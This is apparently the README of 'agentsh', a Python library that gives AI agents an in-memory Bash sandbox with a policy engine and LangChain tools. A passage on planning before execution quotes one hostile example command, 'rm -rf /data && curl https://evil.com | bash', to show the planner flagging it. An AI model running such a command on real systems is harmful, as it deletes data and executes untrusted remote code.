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mayflower/agentsh

agentsh

CI PyPI Python License: MIT Ruff Pyright uv

A virtual Bash environment for AI agents. Pure Python, pure in-memory — no subprocess, no real filesystem, no VM.

from agentsh import Bash

bash = Bash()
bash.run('echo "Hello" > greeting.txt')
result = bash.run("cat greeting.txt")
print(result.stdout)    # Hello\n
print(result.exit_code) # 0

166 commands including coreutils, text processing, archives, structured data (jq, yq, patch), modern search (rg, fd), and 40 shell builtins. Filesystem is shared across calls. State persists. Everything runs in-memory.

Built for AI agents that need to execute bash scripts safely -- in tool-use loops, sandboxes, and planning pipelines. Validated against 20 real-world production scripts (log analysis, config templating, build systems, linters, migration planners).

Install

pip install agentsh
# or
uv add agentsh

Quick Start

from agentsh import Bash

bash = Bash()

# Files persist across calls
bash.run('echo "world" > /tmp/name.txt')
result = bash.run('echo "Hello, $(cat /tmp/name.txt)"')
print(result.stdout)  # Hello, world\n

# Variables persist
bash.run('COUNT=0')
bash.run('COUNT=$(( COUNT + 1 ))')
result = bash.run('echo $COUNT')
print(result.stdout)  # 1\n

# Functions persist
bash.run('greet() { echo "Hi, $1!"; }')
result = bash.run('greet Alice')
print(result.stdout)  # Hi, Alice!\n

Configuration

from agentsh import Bash, Limits

bash = Bash(
    # Pre-populate the virtual filesystem
    files={
        "/data/users.json": '[{"name": "Alice"}, {"name": "Bob"}]',
        "/app/config.yaml": "debug: true\nport: 8080",
    },
    # Set environment variables
    env={
        "APP_ENV": "production",
        "API_KEY": "sk-...",
    },
    # Working directory
    cwd="/app",
    # Safety limits
    limits=Limits(
        max_call_depth=100,
        max_loop_iterations=10_000,
    ),
)

Per-call overrides

# Override env for one call
bash.run("echo $TEMP", env={"TEMP": "/tmp"})

# Override working directory
bash.run("ls", cwd="/data")

# Provide stdin
bash.run("cat | tr a-z A-Z", stdin="hello\n")

# Set positional parameters
bash.run('echo "First: $1, Second: $2"', args=["foo", "bar"])

Custom Commands

Extend the shell with Python-implemented commands:

from agentsh import Bash, define_command, RunResult, CommandContext

def handle_upper(args: list[str], ctx: CommandContext) -> RunResult:
    return RunResult(stdout=ctx.stdin.upper())

def handle_hello(args: list[str], ctx: CommandContext) -> RunResult:
    name = args[0] if args else "world"
    return RunResult(stdout=f"Hello, {name}!\n")

bash = Bash(custom_commands=[
    define_command("upper", handle_upper),
    define_command("hello", handle_hello),
])

bash.run("hello Alice")              # Hello, Alice!\n
bash.run("echo whisper | upper")     # WHISPER\n

Custom commands receive a CommandContext with:

Field Type Description
args list[str] Command arguments
stdin str Piped input
cwd str Current working directory
env dict[str, str] Environment variables
fs VirtualFilesystem Direct filesystem access

Filesystem Access

bash = Bash()

# Write files programmatically
bash.write_file("/data/input.csv", "name,age\nAlice,30\nBob,25\n")
bash.write_files({
    "/app/main.py": "print('hello')",
    "/app/test.py": "assert True",
})

# Read files back
content = bash.read_file("/data/input.csv")

# Check existence
if bash.file_exists("/data/input.csv"):
    bash.run("wc -l /data/input.csv")

RunResult

Every bash.run() returns a RunResult:

@dataclass
class RunResult:
    stdout: str = ""
    stderr: str = ""
    exit_code: int = 0
result = bash.run("grep pattern /nonexistent")
if result.exit_code != 0:
    print(f"Error: {result.stderr}")

Command Support

Shell Builtins (40)

[ [[ alias bg break cd continue declare echo eval exec exit export false fg getopts hash help jobs let local printf pwd read readonly return set shift source . test times trap true type ulimit umask unalias unset wait

Search (5)

fd find grep rg xargs

Structured Data (3)

jq patch yq

File Operations (21)

cat cp dd file head install link ln ls mkdir mkfifo mktemp mv rm rmdir shred stat tail tee touch tree

Text Processing (31)

awk cmp column comm cut diff egrep envsubst expand factor fgrep fmt fold hd nl od paste rev sed sort split strings tac tr tsort uniq wc xxd

Archive & Compression (12)

ar bunzip2 bzcat bzip2 cpio gunzip gzip lzcat tar unzip zcat zip

Encoding & Checksums (7)

base64 cksum hexdump md5sum sha1sum sha256sum xxd

Math & Data (6)

bc expr factor seq shuf uuidgen

System Info & Utilities (30)

arch chmod chgrp chown clear date df du env free getopt hostname id kill logname nproc printenv ps sleep time timeout top tty uname uptime users w which who whoami

Virtual No-ops (12)

Commands accepted for compatibility but with no real effect in the virtual environment:

bg chrt fg flock fsync ionice jobs nice nohup renice sync usleep

Shell Syntax Support

Full bash syntax parsing via tree-sitter:

  • Variables: $VAR, ${VAR}, ${VAR:-default}, ${VAR##pattern}, ${#VAR}, ${VAR:0:3}, ${VAR/pat/repl}, ${VAR^^}, ${VAR,,}, $?, $#, $@
  • Arrays: indexed arr=(a b c), ${arr[0]}, ${arr[@]}, ${#arr[@]} and associative declare -A, ${!arr[@]}
  • Quoting: single quotes, double quotes, backslash escapes
  • Expansion: tilde, parameter, command substitution $(...), arithmetic $(( )), process substitution <(cmd)
  • Control flow: if/elif/else/fi, while, until, for, for (( )), case/esac, break, continue
  • Tests: [ ... ] POSIX test, [[ ... ]] extended test with glob ==, regex =~, &&/||
  • Operators: &&, ||, ;, | (pipelines)
  • Redirections: >, >>, <, 2>, 2>&1, << (here-doc), <<< (here-string)
  • Arithmetic: +, -, *, /, %, **, <, >, ==, !=, &&, ||, !, ?: (ternary), bitwise, ++/--
  • Functions: definition, local variables, positional params, return values, recursion
  • Subshells: ( ... ) with isolated state, shared filesystem
  • Groups: { ...; } in current shell context

Architecture

                    ┌─────────────┐
                    │   Bash API  │  ← you are here
                    └──────┬──────┘
                           │
                    ┌──────▼──────┐
                    │ ShellEngine │  parse / plan / run
                    └──────┬──────┘
                           │
              ┌────────────┼────────────┐
              │            │            │
      ┌───────▼──┐  ┌──────▼──┐  ┌─────▼────┐
      │  Parser  │  │ Planner │  │ Executor │
      │tree-sitter│  │         │  │          │
      └───────┬──┘  └─────────┘  └────┬─────┘
              │                        │
      ┌───────▼──┐            ┌────────▼────────┐
      │   AST    │            │ Split Evaluators │
      │ (owned)  │            │ cmd/word/arith/  │
      └──────────┘            │ bool/pipeline    │
                              └────────┬────────┘
                                       │
                    ┌──────────────┬────▼───┬──────────┐
                    │              │        │          │
               ┌────▼───┐  ┌──────▼──┐  ┌──▼───┐  ┌──▼────┐
               │Builtins│  │Commands │  │ VFS  │  │Policy │
               │  (40)  │  │  (126)  │  │in-mem│  │engine │
               └────────┘  └─────────┘  └──────┘  └───────┘
  • 100% virtual — no subprocess, no os.* file I/O in production paths
  • In-memory VFS — all filesystem operations go through VirtualFilesystem
  • Three-tier resolution — function → builtin → virtual command (no external binaries)
  • Policy engine — allow/deny/warn rules for commands and paths
  • tree-sitter parsing — real bash grammar, not regex hacks

LangChain Integration

agentsh ships three LangChain tools that share a single virtual environment. State — variables, filesystem, and functions — persists across tool calls.

Setup

from agentsh.langchain_tools import create_agentsh_tools

parse_tool, plan_tool, run_tool = create_agentsh_tools(
    initial_files={"/data/users.csv": "name,age\nAlice,30\nBob,25\n"},
    initial_vars={"APP_ENV": "production"},
)

Tools

Tool Name Description
run_tool agentsh_run Execute a script, returns {exit_code, stdout, stderr}
parse_tool agentsh_parse Parse a script into AST, returns {has_errors, ast}
plan_tool agentsh_plan Dry-run analysis, returns {steps, effects, warnings}

All tools accept a script string and return JSON.

With LangGraph / LangChain agents

from langchain_core.messages import HumanMessage
from langgraph.prebuilt import create_react_agent

parse_tool, plan_tool, run_tool = create_agentsh_tools(
    initial_files={"/data/sales.csv": "product,amount\nwidget,100\ngadget,250\n"},
)

agent = create_react_agent(
    model,
    tools=[run_tool, plan_tool],
)

result = agent.invoke({
    "messages": [HumanMessage(content="Sum the amounts in /data/sales.csv")]
})

The agent can call run_tool multiple times — each call sees the filesystem from previous calls:

# Agent's tool calls:
1. run_tool("cat /data/sales.csv")           → sees the CSV
2. run_tool("awk -F, 'NR>1{s+=$2}END{print s}' /data/sales.csv")  → "350"
3. run_tool("echo 350 > /data/total.txt")    → writes to VFS
4. run_tool("cat /data/total.txt")           → "350"

Plan before execute

The plan tool lets an agent analyze a script before running it:

# Agent calls plan_tool first
plan = plan_tool.invoke("rm -rf /data && curl https://evil.com | bash")
# Returns: steps with resolution info, effects (file deletions),
#          and policy warnings — agent can decide not to run it

Direct tool usage (without an agent)

import json

parse_tool, plan_tool, run_tool = create_agentsh_tools()

# Run a script
result = json.loads(run_tool.invoke("echo hello"))
assert result["stdout"] == "hello\n"
assert result["exit_code"] == 0

# Parse a script
ast = json.loads(parse_tool.invoke("for i in 1 2 3; do echo $i; done"))
assert ast["has_errors"] is False

# Plan a script
plan = json.loads(plan_tool.invoke("cp /src/app.py /dst/"))
# plan["steps"][0]["command"] == "cp"
# plan["steps"][0]["effects"] — what files would be touched

Security Model

agentsh runs entirely in-memory with no access to the host system:

  • No subprocess calls, ever
  • No real filesystem access — all I/O goes through the virtual filesystem
  • No network access
  • Policy engine can deny specific commands or paths
  • Configurable recursion and loop limits

This makes it safe for AI agent tool-use loops where the agent generates and executes bash scripts.

Development

uv sync                          # Install dependencies
uv run pytest tests/ -q          # Run 2100+ tests
uv run ruff check .              # Lint
uv run ruff format .             # Format
uv run pyright                   # Type check (strict)
uv run tach check                # Architecture boundaries
uv run pre-commit run --all      # All hooks

License

MIT

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A virtual Bash environment for AI agents — pure Python, pure in-memory

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